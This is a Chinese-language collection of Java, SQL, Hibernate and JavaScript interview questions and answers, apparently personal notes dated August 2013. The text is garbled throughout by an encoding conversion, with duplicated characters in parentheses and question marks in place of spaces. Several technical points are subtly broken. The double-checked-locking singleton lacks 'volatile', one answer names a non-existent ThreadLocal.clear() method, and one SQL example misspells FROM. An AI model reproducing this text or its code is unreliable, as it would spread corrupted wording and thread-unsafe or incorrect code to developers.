public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? synchronized (Singleton.class) { ?
? ? ? ? ? ? ? ? if (null == instance) { ?
? ? ? ? ? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
}// 這個(gè)模式將同步內(nèi)容下方到if內(nèi)部,提高了執(zhí)行的效率,不必每次獲取對象時(shí)都進(jìn)行同步,只有第一次才同步,創(chuàng)建了以后就沒必要了。 ?
??
問題3:PrepareStatement和Statement的區(qū)別? ?
??
Statement用于執(zhí)行靜態(tài)SQL語句,在執(zhí)行時(shí),必須指定一個(gè)事先準(zhǔn)備好的SQL語句,也就是說SQL語句是靜態(tài)的 ?
PrepareStatement是預(yù)編譯的SQL語句對象,SQL語句被預(yù)編譯并保存在對象中。被封裝的SQL語句代表某一類操作,語句中可以包含動態(tài)參數(shù)“?”,在執(zhí)行時(shí)可以為“?”動態(tài)設(shè)置參數(shù)值 ?
使用PrepareStatement對象執(zhí)行SQL時(shí),SQL被數(shù)據(jù)庫進(jìn)行解析和編譯,然后被放到命令緩沖區(qū),每當(dāng)執(zhí)行同一個(gè)PrepareStatement對象時(shí),它就會被解析一次,但不會被再次編譯。在緩沖區(qū)可以發(fā)現(xiàn)預(yù)編譯的命令,并且可以重用。所以PrepareStatement可以減少編譯次數(shù)提高數(shù)據(jù)庫性能 ?
??
1、創(chuàng)建時(shí)的區(qū)別: ?
? ?Statement stm=con.createStatement(); ??
? ?PreparedStatement pstm=con.prepareStatement(SQL); ??
執(zhí)行的時(shí)候: ?
? ? stm.execute(SQL); ??
? ? pstm.execute(); ??
2、pstm一旦綁定了SQL,此pstm就不能執(zhí)行其他的SQL,即只能執(zhí)行一條SQL命令 ?
stm可以執(zhí)行多條SQL命令 ?
3、 對于執(zhí)行同構(gòu)的SQL(只有值不同,其他結(jié)構(gòu)都相同),用pstm的執(zhí)行效率比較高,對于異構(gòu)的SQL語句,Statement的執(zhí)行效率要高 ??
4、當(dāng)需要外部變量的時(shí)候,pstm的執(zhí)行效率更高 ?
??
問題4:團(tuán)隊(duì)項(xiàng)目開發(fā)中,功能模塊完成后如何和組員集成(整合)測試? ?
??
先進(jìn)行單元測試,單元測試無誤后再進(jìn)行集成測試 ?
??
例子:Junit+Ant ?
??
這個(gè)是屬于軟件測試的范疇,由測試人員做的,分為功能測試與性能測試 ?
??
2013年8月14日:21CN世紀(jì)龍信息、凱通軟件 ?
??
問題1:解釋一下什么是哈希表? ?
??
散列表(Hash table,也叫哈希表),是根據(jù)關(guān)鍵碼值(Key value)而直接進(jìn)行訪問的數(shù)據(jù)結(jié)構(gòu) ?
也就是說,它通過把關(guān)鍵碼值映射到表中一個(gè)位置來訪問記錄,以加快查找的速度 ?
這個(gè)映射函數(shù)叫做散列函數(shù),存放記錄的數(shù)組叫做散列表 ?
??
問題2:線程的生命周期 ?
??
新建就緒(阻塞)運(yùn)行死亡 ?
??
新建:其中當(dāng)用new創(chuàng)建完一個(gè)線程對象后,該線程處于新建狀態(tài) ?
就緒:當(dāng)線程對象調(diào)用start()后,該線程處于就緒狀態(tài) ?
運(yùn)行:如果處于就緒狀態(tài)的線程獲得CPU時(shí)間片,開始執(zhí)行run方法的線程執(zhí)行體,該線程處于運(yùn)行狀態(tài) ?
阻塞:如果線程調(diào)用了sleep()或者調(diào)用了一個(gè)阻塞式IO方法等,該線程處于阻塞狀態(tài) ?
死亡:如果線程的run()執(zhí)行完成或者拋出一個(gè)未捕獲的異常等原因,該線程處于死亡狀態(tài) ?
??
問題3:JSP頁面如何實(shí)現(xiàn)自定義標(biāo)簽? ?
??
首先新建繼承了SimpleTagSupport類的自定標(biāo)簽類,重寫doTag方法 ?
然后新建tld文件,定義標(biāo)簽的屬性及格式 ?
JSP頁面引入標(biāo)簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義標(biāo)簽采用<myTag:checkURL startURL="網(wǎng)址" goURL="網(wǎng)址" ></myTag:checkURL>格式 ?
??
問題4:JSP頁面如何實(shí)現(xiàn)自定義函數(shù)? ?
??
首先新建自定函數(shù)類,定義public static boolean方法 ?
然后新建tld文件,定義標(biāo)簽的屬性及格式 ?
JSP頁面引入標(biāo)簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義函數(shù)采用${myfn:contains(字符串,字符串)}格式 ?
??
問題5:你所了解的Apache的commons項(xiàng)目所包含的工具? ?
??
BeanUtils:提供了對于JavaBean進(jìn)行各種操作,克隆對象、屬性等等 ?
Betwixt:XML與Java對象之間相互轉(zhuǎn)換 ?
Codec:處理常用的編碼方法的工具類包 例如DES、SHA1、MD5、Base64等 ?
Collections:Java集合框架操作 ?
Compress:Java提供文件打包 壓縮類庫 ?
Configuration:一個(gè)Java應(yīng)用程序的配置管理類庫 ?
DBCP:提供數(shù)據(jù)庫連接池服務(wù) ?
DbUtils:提供對JDBC的操作封裝來簡化數(shù)據(jù)查詢和記錄讀取操作 ?
Email:Java發(fā)送郵件對JavaMail的封裝 ?
FileUpload:提供文件上傳功能 ?
HttpClient:提供HTTP客戶端與服務(wù)器的各種通訊操作. 現(xiàn)在已改成HttpComponents ?
IO:IO工具的封裝 ?
Lang:Java基本對象方法的工具類包,如:StringUtils,ArrayUtils等等 ?
Logging:提供的是一個(gè)Java 的日志接口 ?
Validator:提供了客戶端和服務(wù)器端的數(shù)據(jù)驗(yàn)證框架 ?
??
問題6、如何對SQL語句進(jìn)行優(yōu)化? ?
??
盡可能合理運(yùn)用索引 ?
少用“*”,比如select * from tableName,只查詢自己需要的數(shù)據(jù) ?
使用LIKE ‘%關(guān)鍵字%’模糊查詢時(shí),由于關(guān)鍵字前面用了“%”符號,因此該查詢必定會進(jìn)行全表查詢,盡量不要在關(guān)鍵字前加“%”符號 ?
盡可能減少子查詢的層數(shù) ?
盡可能在子查詢中進(jìn)行數(shù)據(jù)篩選 ?
盡量使用數(shù)字型字段,一部分開發(fā)人員和數(shù)據(jù)庫管理人員喜歡把包含數(shù)值信息的字段設(shè)計(jì)為字符型,這會降低查詢和連接的性能,并會增加存儲開銷。這是因?yàn)橐嬖谔幚聿樵兒瓦B接會逐個(gè)比較字符串中每一個(gè)字符,而對于數(shù)字型而言只需要比較一次就夠了。 ?
??
2013年8月15日: ?
??
問題1、你所了解的測試技術(shù),并說一下你覺得測試與開發(fā)之間的關(guān)系 ?
??
1、按是否查看程序內(nèi)部結(jié)構(gòu)分為: ?
黑盒測試:只關(guān)心輸入和輸出的結(jié)果 ?
白盒測試:去研究里面的源代碼和程序結(jié)構(gòu) ?
??
2、按是否運(yùn)行程序分為: ?
靜態(tài)測試:是指不實(shí)際運(yùn)行被測軟件,而只是靜態(tài)地檢查程序代碼、界面或文檔可能 ?
動態(tài)測試:是指實(shí)際運(yùn)行被測程序,輸入相應(yīng)的測試數(shù)據(jù),檢查輸出結(jié)果和預(yù)期結(jié)果是否相符的過程 ?
??
3、按階段劃分: ?
單元測試:是指對軟件中的最小可測試單元進(jìn)行檢查和驗(yàn)證 ?
集成測試:是單元測試的下一階段,是指將通過測試的單元模塊組裝成系統(tǒng)或子系統(tǒng),再進(jìn)行測試,重點(diǎn)測試不同模塊的接口部門。集成測試就是用來檢查各個(gè)單元模塊結(jié)合到一起能否協(xié)同配合,正常運(yùn)行 ?
系統(tǒng)測試:指的是將整個(gè)軟件系統(tǒng)看做一個(gè)整體進(jìn)行測試,包括對功能、性能,以及軟件所運(yùn)行的軟硬件環(huán)境進(jìn)行測試。系統(tǒng)測試的主要依據(jù)是《系統(tǒng)需求規(guī)格說明書》文檔 ?
驗(yàn)收測試:指的是在系統(tǒng)測試的后期,以用戶測試為主,或有測試人員等質(zhì)量保障人員共同參與的測試,它也是軟件正式交給用戶使用的最后一道工序。驗(yàn)收測試又分為a測試和beta測試,其中a測試指的是由用戶、 測試人員、開發(fā)人員等共同參與的內(nèi)部測試,而beta測試指的是內(nèi)測后的公測,即完全交給最終用戶測試 ?
??
軟件開發(fā)是生產(chǎn)制造軟件;軟件測試是驗(yàn)證開發(fā)出來軟件的質(zhì)量 ?
類比傳統(tǒng)加工制造企業(yè),軟件開發(fā)人員就是生產(chǎn)加工的工人,軟件測試人員就是質(zhì)檢人員 ?
?
開發(fā)與測試的關(guān)系應(yīng)該是: ?
沒有軟件開發(fā)就沒有測試,軟件開發(fā)提供軟件測試的對象 ?
軟件開發(fā)和軟件測試都是軟件生命周期中的重要組成部分 ?
軟件開發(fā)和軟件測試都是軟件過程中的重要活動 ?
軟件測試是保證軟件開發(fā)產(chǎn)物質(zhì)量的重要手段 ?
??
問題2、Oracle里varchar2的最大長度? ?
??
字段類型:Oracle SQL varchar2的最大支持長度為4000個(gè)字節(jié)(bytes) ?
變量類型:Oracle PLSQL varchar2最大支持長度為32767個(gè)字節(jié)(緩沖區(qū)) ?
??
問題3、如何判斷Session過期? ?
??
request.getSession(boolean)這個(gè)方法里面?zhèn)髁艘粋€(gè)boolean值,這個(gè)值如果是true,那么如果當(dāng)前的Request的Session不可用,那么就創(chuàng)建新的會話,如果存在就返回當(dāng)前的會話。如果參數(shù)是false,那么在Request的當(dāng)前會話不存在的時(shí)候就返回null ?
?
if(request.getSession(false)==null){ ?
System.out.println("Session has been invalidated!"); ?
} ?
else{ ?
System.out.println("Session is active!"); ?
} ?
??
問題4、Oracle的行列轉(zhuǎn)換? ?
??
姓名 科目 分?jǐn)?shù) ?
--- --- ---- ?
太上 語文 80 ?
太上 數(shù)學(xué) 70 ?
太上 英語 60 ?
喚魔 語文 90 ?
喚魔 數(shù)學(xué) 80 ?
喚魔 英語 100 ?
轉(zhuǎn)換為: ?
姓名 語文 數(shù)學(xué) 英語 ?
太上 ?80 ?70 ?60 ?
喚魔 ?90 ?80 ?100 ?
??
使用Oracle的Decode函數(shù),如果“科目”是“語文”,返回對應(yīng)科目的分?jǐn)?shù)的綜合,0是缺省值 ?
??
語句如下: ?
select 姓名, ??
sum(decode(科目,'語文', 分?jǐn)?shù),0)) "語文", ?
sum(decode(科目,'數(shù)學(xué)', 分?jǐn)?shù),0)) "數(shù)學(xué)", ?
sum(decode(科目,'英語', 分?jǐn)?shù),0)) "英語" ?
from table ?
group by 姓名; ?
??
2013年8月16日: ?
??
問題1:Hibernate框架下如何實(shí)現(xiàn)分頁? ?
??
Hibernate有自帶分頁功能 ?
Query.setFirstResult() ?//從哪一條條記錄開始 ?
Query.setMaxResults() ? //希望獲得的記錄數(shù) ??
??
問題2:AJAX的優(yōu)缺點(diǎn)? ?
??
優(yōu)點(diǎn): ?
局部刷新頁面,減少用戶心理和實(shí)際的等待時(shí)間,帶來更好的用戶體驗(yàn) ?
使用異步方式與服務(wù)器通信,不需要打斷用戶的操作,具有更加迅速的響應(yīng)能力 ?
減輕服務(wù)器的負(fù)擔(dān),按需取數(shù)據(jù),最大程度的減少冗余請求 ?
基于XML標(biāo)準(zhǔn)化,并被廣泛支持,不需安裝插件等 ?
??
缺點(diǎn): ?
AJAX大量的使用了JavaScript和AJAX引擎,這些取決于瀏覽器的支持。在編寫的時(shí)候考慮對瀏覽器的兼容性IE5.0及以上、Mozilla1.0、NetScape7及以上版本才支持,Mozilla雖然也支持AJAX,但是提供XMLHttpRequest的方式不一樣 ?
AJAX更新頁面內(nèi)容的時(shí)候并沒有刷新整個(gè)頁面,因此,網(wǎng)頁的后退功能是失效的;有的用戶還經(jīng)常搞不清楚現(xiàn)在的數(shù)據(jù)是舊的還是已經(jīng)更新過的這個(gè)就需要在明顯位置提醒用戶“數(shù)據(jù)已更新” ?
對流媒體還有移動設(shè)備的支持不太好等,比如手機(jī)還有平板電腦 ?
??
問題3、Hibernate里配置生成主鍵的方式有哪些? ?
??
Increment: ?
由Hibernate從數(shù)據(jù)庫中取出主鍵的最大值(每個(gè)Session只取1次),以該值為基礎(chǔ),每次增量為1,在內(nèi)存中生成主鍵,不依賴于底層的數(shù)據(jù)庫,因此可以跨數(shù)據(jù)庫 ?
特點(diǎn):跨數(shù)據(jù)庫,不適合多進(jìn)程并發(fā)更新數(shù)據(jù)庫,適合單一進(jìn)程訪問數(shù)據(jù)庫,不能用于集群環(huán)境 ?
Hilo: ?
hilo(高低位方式high low)是Hibernate中最常用的一種生成方式,需要一張額外的表保存hi的值。保存hi值的表至少有一條記錄(只與第一條記錄有關(guān)),否則會出現(xiàn)錯誤。可以跨數(shù)據(jù)庫 ?
特點(diǎn):跨數(shù)據(jù)庫,hilo算法生成的標(biāo)志只能在一個(gè)數(shù)據(jù)庫中保證唯一 ?
Sehilo: ?
與hilo類似,通過hi/lo算法實(shí)現(xiàn)的主鍵生成機(jī)制,只是將hilo中的數(shù)據(jù)表換成了序列Sequence,需要數(shù)據(jù)庫中先創(chuàng)建Sequence,適用于支持Sequence的數(shù)據(jù)庫,如Oracle ?
特點(diǎn):與hilo類似,只能在支持序列的數(shù)據(jù)庫中使用 ?
Identity: ?
identity由底層數(shù)據(jù)庫生成標(biāo)識符。identity是由數(shù)據(jù)庫自己生成的,但這個(gè)主鍵必須設(shè)置為自增長,使用identity的前提條件是底層數(shù)據(jù)庫支持自動增長字段類型,如DB2、SQL Server、MySQL、Sybase和HypersonicSQL等,Oracle這類沒有自增字段的則不支持 ?
特點(diǎn):只能用在支持自動增長的字段數(shù)據(jù)庫中使用,如MySQL ?
Sequence: ?
采用數(shù)據(jù)庫提供的Sequence機(jī)制生成主鍵,需要數(shù)據(jù)庫支持Sequence。如ORACLE、DB、SAP DB、PostgerSQL、McKoi中的SequenceMySQL這種不支持Sequence的數(shù)據(jù)庫則不行(可以使用identity) ?
特點(diǎn):只能在支持序列的數(shù)據(jù)庫中使用,如Oracle ?
Native: ?
native由Hibernate根據(jù)使用的數(shù)據(jù)庫自行判斷采用identity、hilo、Sequence其中一種作為主鍵生成方式,靈活性很強(qiáng)如果能支持identity則使用identity,如果支持Sequence則使用Sequence ?
特點(diǎn):根據(jù)數(shù)據(jù)庫自動選擇,項(xiàng)目中如果用到多個(gè)數(shù)據(jù)庫時(shí),可以使用這種方式,使用時(shí)需要設(shè)置表的自增字段或建立序列,建立表等 ?
Uuid: ?
UUID:Universally Unique Identifier,是指在一臺機(jī)器上生成的數(shù)字,它保證對在同一時(shí)空中的所有機(jī)器都是唯一的。按照開放軟件基金會(OSF)制定的標(biāo)準(zhǔn)計(jì)算,用到了以太網(wǎng)卡地址、納秒級時(shí)間、芯片ID碼和許多可能的數(shù)字 ?
特點(diǎn):uuid長度大,占用空間大,跨數(shù)據(jù)庫,不用訪問數(shù)據(jù)庫就生成主鍵值,所以效率高且能保證唯一性,移植非常方便,推薦使用 ?
Assigned: ?
主鍵由外部程序負(fù)責(zé)生成,在 save() 之前必須指定一個(gè)Hibernate不負(fù)責(zé)維護(hù)主鍵生成,與Hibernate和底層數(shù)據(jù)庫都無關(guān),可以跨數(shù)據(jù)庫。在存儲對象前,必須要使用主鍵的setter方法給主鍵賦值,至于這個(gè)值怎么生成,完全由自己決定,這種方法應(yīng)該盡量避免 ?
特點(diǎn):可以跨數(shù)據(jù)庫,人為控制主鍵生成,應(yīng)盡量避免 ?
Composite-id:復(fù)合主鍵,聯(lián)合主鍵 ?
??
2013年8月17日: ?
??
問題1、Oracle是否支持Auto_Increment?如不支持如何實(shí)現(xiàn)類似功能? ?
??
建立一個(gè)Sequence序列: ?
CREATE SEQUENCE Sequence_Name ?
INCREMENT BY 1 ? ?每次加1個(gè) ? ?
START WITH 1 ? ? ?從1開始計(jì)數(shù) ? ?
NOMAXVALUE ? ? ? ?不設(shè)置最大值 ? ?
NOCYCLE ; ? ? ? ? 一直累加,不循環(huán) ?
??
建立一個(gè)TRIGGER觸發(fā)器: ?
CREATE OR REPLACE TRIGGER Trigger_Name ??
BEFORE ??
INSERT ??
ON Table_Name referencing NEW as NEW FOR EACH ROW ? 行級觸發(fā),即每行都觸發(fā) ?
DECLARE ??
begin ?
select Sequence_Name.nextval into:New.increment_column from dual; ?
end; ?
/ ?
??
問題2、建模使用什么工具? ?
??
Rational Rose、Power Designer、StarUML、Enterprise Architect [?ɑ:kitekt] ?
??
問題3、Svn主要作用?Svn的服務(wù)如何配置? ?
??
主要作用:版本控制管理和代碼服務(wù)器,主要用于團(tuán)隊(duì)開發(fā)時(shí)對項(xiàng)目代碼的管理 ?
??
服務(wù)配置: ?
創(chuàng)建版本庫svnadmin create 版本庫路徑 ?
建議注冊到services.msc服務(wù)中 ?
命令:sc create/delete svn binPath= “盤符:\subversion\bin\svnserve.exe –service –r 倉庫目錄” DisplayName= “邏輯名” ?
binPath的值之前一定要加空格 ?
??
2013年8月19日:凱通軟件 ?
??
問題1、Java基礎(chǔ)數(shù)據(jù)類型有哪些?最大長度分別是多少位?多少字節(jié)? ?
??
整數(shù)類型: ?
Byte 8位 1字節(jié) 范圍:-128 ~ 127范圍:-27 ?~ 27-1 ?
Short 16位 2字節(jié) 范圍:-32768 ~ 32767 范圍:-215 ~ 215-1 ?
Int 32位4字節(jié) 范圍:-2,147,483,648 ~ 2,147,483,647 范圍:-231 ?~ 231-1 ?
Long 64位8字節(jié) 范圍:-9,223,372,036,854,775,808~+9,223,372,036,854,775,807 范圍:-263 ?~ 263 -1 ??
??
浮點(diǎn)數(shù)型: ?
Float 32位4字節(jié) 范圍:-3,40292347E+38 ~ +3,40292347E+38范圍: ?
Double 64位8字節(jié) 范圍:-1.79769313486231576E+308 ~ 1.79769313486231576E+308范圍: ?
??
其他類型: ?
Char 16位2字節(jié)(默認(rèn)Unicode編碼) 范圍:‘\u0000′ ~ ‘\uFFFF’ 范圍: ?
Boolean 1位0.125字節(jié)(8分之1字節(jié)) 范圍:true/false ?
??
??
注意: ?
Int最常用(20億左右),long可以用在統(tǒng)計(jì)世界人口,byte,short用在特殊場合(如果知道存儲在變量中的整數(shù)在一個(gè)字節(jié)范圍內(nèi),就應(yīng)該將變量聲明為byte) ?
Double和Float,一般都使用double,double類型,因?yàn)閐ouble類型比float更精確。需要存儲大量數(shù)據(jù)才考慮單精度一般使用(float可以節(jié)約內(nèi)存) ?
??
問題2、String有哪些方法? ?
??
trim() 去掉起始和結(jié)尾的空格 ?
charAt (int index) ?返回index所指定的字符 ?
concat(String str) ?將兩字符串連接 ?
equals() ?比較兩個(gè)字符串 ?
length() ?返回字符串的長度 ?
replace(char old ,char new) ?將old用new替代 ?
valueOf() ?轉(zhuǎn)換為字符串 ?
substring(int1,int2) ?取出字符串內(nèi)第int1位置到int2的字符串 ?
??
indexOf() 查找字符或者子串第一次出現(xiàn)的地方,lastIndexOf() 查找字符或者子串是后一次出現(xiàn)的地方 ?
startsWith(String str) ?測試字符串是否以str開始,endsWith(String str) ?測試字符串是否以str結(jié)尾 ?
getBytes ?將字符串轉(zhuǎn)換成字節(jié)數(shù)組返回,toCharArray ?將字符串轉(zhuǎn)換成字符數(shù)組 ?
toLowerCase() ?將字符串內(nèi)的字符改寫成小寫,toUpperCase() ?將字符串內(nèi)的字符改寫成大寫 ?
??
問題3、冒泡排序的代碼? ?
??
基本思想: ?
在要排序的一組數(shù)中,對當(dāng)前還未排好序的范圍內(nèi)的全部數(shù),自上而下對相鄰的兩個(gè)數(shù)依次進(jìn)行比較和調(diào)整,讓較大的數(shù)往下沉,較小的往上冒。即:每當(dāng)兩相鄰的數(shù)比較后發(fā)現(xiàn)它們的排序與排序要求相反時(shí),就將它們互換。 ?
??
實(shí)例: ?
??
??
冒泡排序(bubble sort):冒泡排序,每次兩個(gè)相鄰的值進(jìn)行比較,內(nèi)層循環(huán)結(jié)束,最后出現(xiàn)最大值。 ?
??
/* ?
? ? 冒泡排序,每次兩個(gè)相鄰的值進(jìn)行比較,內(nèi)層循環(huán)結(jié)束,最后出現(xiàn)最大值。 ?
? ? 內(nèi)層循環(huán) arr.length-1 避免角標(biāo)越界 ?
? ? ? ? ? ? ?arr.length-x 減少參與比較的數(shù),因?yàn)檫@些數(shù),已經(jīng)是最大值,排在最后,沒有必要參與比較。 ?
? ? */ ?
? ? public static void bubbleSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length;x++){ ?
? ? ? ? ? ? for(int y=0;y<arr.length-1-x;y++){ ?
? ? ? ? ? ? ? ? if(arr[y]>arr[y+1]){ ?
? ? ? ? ? ? ? ? ? ? int temp =arr[y+1]; ?
? ? ? ? ? ? ? ? ? ? arr[y+1]=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題4、選擇排序的代碼? ?
??
基本思想: ?
在要排序的一組數(shù)中,選出最小的一個(gè)數(shù)與第一個(gè)位置的數(shù)交換;然后在剩下的數(shù)當(dāng)中再找最小的與第二個(gè)位置的數(shù)交換,如此循環(huán)到倒數(shù)第二個(gè)數(shù)和最后一個(gè)數(shù)比較為止。 ?
??
實(shí)例: ?
??
??
/* ?
? ? 選擇排序。內(nèi)循環(huán)結(jié)束 0角標(biāo)位出現(xiàn)最小值。只要外層循環(huán)的值比內(nèi)層循環(huán)值大,就互換位置。 ?
? ? 0角標(biāo)位的元素,和0角標(biāo)位以后的每個(gè)元素進(jìn)行比較,只要比他們大就互換,位置,這樣可以保證0角標(biāo)位置值最小。 ?
? ? 然后,再進(jìn)行1角標(biāo)位置和1角標(biāo)后的每個(gè)元素進(jìn)行比較。 ?
? ? 依次類推, ?
? ? ??
? ? */ ?
? ? public static void selectSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length-1;x++){ ?
? ? ? ? ? ? for(int y=x+1;y<arr.length;y++){ ?
? ? ? ? ? ? ? ? if(arr[x]>arr[y]){ ?
? ? ? ? ? ? ? ? ? ? int temp=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=arr[x]; ?
? ? ? ? ? ? ? ? ? ? arr[x]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題5、inner join、left join、right join、full out join有什么區(qū)別? ?
??
left join是以A表的記錄為基礎(chǔ)的,A可以看成左表,B可以看成右表,left join是以左表為準(zhǔn)的.。 ?
換句話說,左表(A)的記錄將會全部表示出來,而右表(B)只會顯示符合搜索條件的記錄(例子中為: A.aID = B.bID),B表記錄不足的地方均為NULL。 ?
范例代碼: ?
SELECT C.First_Name, C.Last_Name, O.Order_Id FORM Customer AS C LEFT JOIN Order AS O ON C.Customer_ID = O.Customer_ID ?
??
right join和left join的結(jié)果剛好相反,這次是以右表(B)為基礎(chǔ)的,A表不足的地方用NULL填充。 ?
inner join只顯示出了 A.aID = B.bID的記錄,這說明inner join并不以誰為基礎(chǔ),它只顯示符合條件的記錄。 ?
??
Oracle中的使用: ?
連接分為兩種:內(nèi)連接與外連接。 ?
??
A.內(nèi)連接,即最常見的等值連接,例: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A ?
等價(jià)于 ?
select * from testa inner join testb on testa.a=testb.a ?
? ?
B.外連接分為左外連接,右外連接和全外連接。 ?
1.左外連接 left outer join 或者 left join ?
左外連接就是在等值連接的基礎(chǔ)上加上主表中的未匹配數(shù)據(jù),例: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
---------------------其中主表是TESTA。 ?
Oracle 中等價(jià)于: (+)是outer join 的意思,能將匹配備件中有空值的記錄也顯示出來,如果沒有這個(gè)符號,則不會顯示條件中包含空值的結(jié)果。 ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A(+) ?
? ?
三個(gè)表做左外連接: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
LEFT OUTER JOIN TESTC ?
ON TESTA.A=TESTC.A ?
Oracle 中等價(jià)于: ?
SELECT * ?
FROM TESTA,TESTB,TESTC ?
WHERE TESTA.A=TESTB.A(+) ?
AND TESTA.A=TESTC.A(+) ?
? ?
2. 右外連接 right outer join 或者 right join,是在等值連接的基礎(chǔ)上加上被連接表的不匹配數(shù)據(jù)。 ??
SELECT * ?
FROM TESTA ?
RIGHT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
----------------------其中被連接表是TESTB ?
Oracle支持的另一種寫法: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A(+)=TESTB.A ?
??
3.全外連接 full outer join 或者 full join,是在等值連接的基礎(chǔ)上將左表和右表的未匹配數(shù)據(jù)都加上。 ??
SELECT * ?
FROM TESTA ?
FULL OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
全外連接的等價(jià)寫法,對同一表先做左連接,然后右連接: ??
SELECT ?TESTA.*,TESTB.* ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
UNION ?
SELECT TESTA.*,TESTB.* ?
FROM TESTB ?
LEFT OUTER JOIN TESTA ?
ON TESTA.A=TESTB.A ?
??
2013年8月20日: ?
??
問題1、JS中有哪些數(shù)據(jù)類型? ?
??
Undefined、Null、Boolean、Number、String、Object、Array、Function。 ?
JavaScript有三種基本數(shù)據(jù)類型(字符串、數(shù)值、布爾 ),兩種引用數(shù)據(jù)類型(對象、數(shù)組)和兩種特殊數(shù)據(jù)類型(Null 、Undefined )。 ?
??
問題2、String 和StringBuffer的區(qū)別? ?
??
JAVA平臺提供了兩個(gè)類:String和StringBuffer,它們可以儲存和操作字符串,即包含多個(gè)字符的字符數(shù)據(jù)。 ?
String類表示內(nèi)容不可改變的字符串。而StringBuffer類表示內(nèi)容可以被修改的字符串。當(dāng)你知道字符數(shù)據(jù)要改變的時(shí)候你就可以使用StringBuffer。 ?
典型地,你可以使用StringBuffers來動態(tài)構(gòu)造字符數(shù)據(jù)。 ?
另外,String實(shí)現(xiàn)了equals方法,new String(“abc”).equals(new String(“abc”)的結(jié)果為true,而StringBuffer沒有實(shí)現(xiàn)equals方法,所以,new StringBuffer(“abc”).equals(new StringBuffer(“abc”)的結(jié)果為false。 ?
??
接著要舉一個(gè)具體的例子來說明,我們要把1到100的所有數(shù)字拼起來,組成一個(gè)串。 ?
StringBuffer sbf = new StringBuffer(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? sbf.append(i); ?
? ? ? ? } ?
上面的代碼效率很高,因?yàn)橹粍?chuàng)建了一個(gè)StringBuffer對象,而下面的代碼效率很低,因?yàn)閯?chuàng)建了101個(gè)對象。 ?
String str = new String(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? str = str + i; ?
? ? ? ? } ?
在講兩者區(qū)別時(shí),應(yīng)把循環(huán)的次數(shù)搞成10000,然后用endTime-beginTime來比較兩者執(zhí)行的時(shí)間差異,最后還要講講StringBuilder與StringBuffer的區(qū)別。 ?
String覆蓋了equals方法和hashCode方法,而StringBuffer沒有覆蓋equals方法和hashCode方法,所以,將StringBuffer對象存儲進(jìn)Java集合類中時(shí)會出現(xiàn)問題。 ?
??
問題3、StringBuffer與StringBuilder的區(qū)別? ?
??
StringBuffer和StringBuilder類都表示內(nèi)容可以被修改的字符串,StringBuilder是線程不安全的,運(yùn)行效率高,如果一個(gè)字符串變量是在方法里面定義,這種情況只可能有一個(gè)線程訪問它,不存在不安全的因素了,則用StringBuilder。如果要在類里面定義成員變量,并且這個(gè)類的實(shí)例對象會在多線程環(huán)境下使用,那么最好用StringBuffer。 ?
?
String 不可變 每次對其操作都會在數(shù)據(jù)池產(chǎn)生一個(gè)新的對象,不適合使用在對字符串進(jìn)行頻繁修改的場景 ?
StringBuffer和StringBuilder可變,對其修改不會產(chǎn)生新的對象 其兩者區(qū)別在于StringBuffer線程安全而StringBuilder線程不安全,StringBuilder是線程非安全的效率比StringBuffer高 ?
?
比喻: ?
String是一個(gè)商品 ?
StringBuffer/StringBuilder是生產(chǎn)這個(gè)商品的流水線, ?
StringBuffer速度慢,但(線程)安全性高 ?
StringBuilder速度快,但(線程)安全性差 ?
??
問題4、Threadlocal類的作用? ?
?
ThreadLocal的作用和目的:用于實(shí)現(xiàn)線程內(nèi)的數(shù)據(jù)共享,即對于相同的程序代碼,多個(gè)模塊在同一個(gè)線程中運(yùn)行時(shí)要共享一份數(shù)據(jù),而在另一個(gè)線程中則共享另一份數(shù)據(jù),線程的數(shù)據(jù)是獨(dú)享的。 ?
?
ThreadLocal的實(shí)現(xiàn)原理:每個(gè)線程調(diào)用全局ThreadLocal的set方法,就相當(dāng)于往其內(nèi)部的Map中增加一條記錄,key是各自的線程,value是各自的線程調(diào)用set放進(jìn)的值。在線程結(jié)束時(shí)可以調(diào)用ThreadLocal.clear()方法,可以立即釋放內(nèi)存。也可以不調(diào)用,線程運(yùn)行完成之后內(nèi)存也會被回收。 ?
?
顧名思義它是local variable(線程局部變量)。它的功用非常簡單,就是為每一個(gè)使用該變量的線程都提供一個(gè)變量值的副本,是每一個(gè)線程都可以獨(dú)立地改變自己的副本,而不會和其它線程的副本沖突。從線程的角度看,就好像每一個(gè)線程都完全擁有該變量。 ?
?
它主要由四個(gè)方法組成initialValue(),get(),set(T),remove(),其中值得注意的是initialValue(),該方法是一個(gè)protected的方法,顯然是為了子類重寫而特意實(shí)現(xiàn)的。該方法返回當(dāng)前線程在該線程局部變量的初始值,這個(gè)方法是一個(gè)延遲調(diào)用方法,在一個(gè)線程第1次調(diào)用get()或者set(Object)時(shí)才執(zhí)行,并且僅執(zhí)行1次。ThreadLocal中的確實(shí)實(shí)現(xiàn)直接返回一個(gè)null。也是解決線程安全的問題的一種方法。 ?
??
